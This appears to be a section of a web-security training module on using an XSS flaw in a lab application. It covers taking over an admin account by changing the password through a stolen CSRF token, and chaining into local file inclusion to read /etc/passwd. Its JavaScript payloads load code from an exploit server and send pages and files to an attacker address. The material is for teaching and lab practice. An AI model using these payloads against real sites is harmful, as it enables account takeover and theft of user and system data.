Launching Attacks from the Victim's Session

After discussing how to exfiltrate data from the victim's user context with an XSS vulnerability, we will explore how to trigger potentially state-changing actions. As XSS gives us complete control over the victim's session, we can trigger any functionality the web application implements in the victim's user context. This can lead to a complete account takeover of the victim's account or enable further attack vectors.

Since this module is not about identifying XSS vulnerabilities but rather about writing powerful XSS exploits, we will discuss the same vulnerable web application we have seen in previous sections.

Account Takeover

This time, our sample web application contains a function to update the user's profile, including the user's password:

https://victim-session.htb/home.php
Profile update form with fields for username, email, and password, and a submit button.

Updating the profile is implemented using the following HTTP request:

HTTP POST request to /home.php with user details and CSRF token; response shows success message 'User updated successfully.'

Since updating the account's password does not require the old password, we can use the known XSS vulnerability to change the victim's password. This enables us to log in to the victim's account, resulting in a complete takeover. The form is protected using a CSRF token, but since there is an XSS vulnerability, we can read the CSRF token and add it to the request.

To achieve this, let us use the same XSS exploit we have used in previous sections that loads JavaScript code from the exploit server:

<script src="https://exploitserver.htb/exploit"></script>

Afterward, we can make a GET request to /home.php to get a valid CSRF token, extract it, and subsequently make the POST request to change the victim's password to pwned.

// GET CSRF token
var xhr = new XMLHttpRequest();
xhr.open('GET', '/home.php', false);
xhr.withCredentials = true;
xhr.send();
var doc = new DOMParser().parseFromString(xhr.responseText, 'text/html');
var csrftoken = encodeURIComponent(doc.getElementById('csrf_token').value);

// change PW
var csrf_req = new XMLHttpRequest();
var params = `username=admin&email=admin@vulnerablesite.htb&password=pwned&csrf_token=${csrftoken}`;
csrf_req.open('POST', '/home.php', false);
csrf_req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
csrf_req.withCredentials = true;
csrf_req.send(params);

After waiting for the admin user to trigger the XSS, we can log in to the victim's account with the credentials admin:pwned.

Chaining Vulnerabilities

As we have seen above, we can abuse XSS vulnerabilities to trigger any functionality within the web application from the victim's user context. We can go one step further and chain multiple vulnerabilities by exploiting a different vulnerability in the web application in an endpoint only accessible by the victim.

To do so, we first need to analyze the web application from the victim's point of view, identify endpoints the victim can access that we cannot access with our own user account, and finally, test and exploit any vulnerabilities we identify through our XSS payload.

We will again use the same base XSS payload that enables us to customize the exploit on the exploit server:

<script src="https://exploitserver.htb/exploit"></script>

Exfiltrating the /home.php endpoint from the victim's user context reveals the endpoint /admin.php, which is not accessible by our user:

HTTP GET request to /admin.php with session cookie; response shows 302 redirect to home.php.

To identify data displayed in the admin endpoint, we can use the same payload we have used in the previous section to exfiltrate the response:

var xhr = new XMLHttpRequest();
xhr.open('GET', '/admin.php', false);
xhr.withCredentials = true;
xhr.send();

var exfil = new XMLHttpRequest();
exfil.open("GET", "https://10.10.14.144:4443/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

This reveals the following HTML response:

HTML section with an image, 'Administrator Dashboard' title, and buttons to view different front page designs: White, Red, Blue.

Analyzing the HTML source code, the admin endpoint seems to support the GET parameter view, which can be set to different files in the current working directory. This is an obvious entry point for a Local File Inclusion (LFI) vulnerability. To test our hypothesis, let us adjust our payload to include the file /etc/passwd:

var xhr = new XMLHttpRequest();
xhr.open('GET', '/admin.php?view=../../../../etc/passwd', false);
xhr.withCredentials = true;
xhr.send();

var exfil = new XMLHttpRequest();
exfil.open("GET", "https://10.10.14.144:4443/lfi?r=" + btoa(xhr.responseText), false);
exfil.send();

After waiting for the victim to trigger the XSS vulnerability again, we get the following response to our exfiltration server, containing our leaked file:

HTML section with buttons for different views and a list of system user accounts and their details.

Note: We can save the HTML code to a local file and open it in a web browser to display the page. This may require us to leak additional files, such as script files or stylesheets, to render the page correctly.

Last updated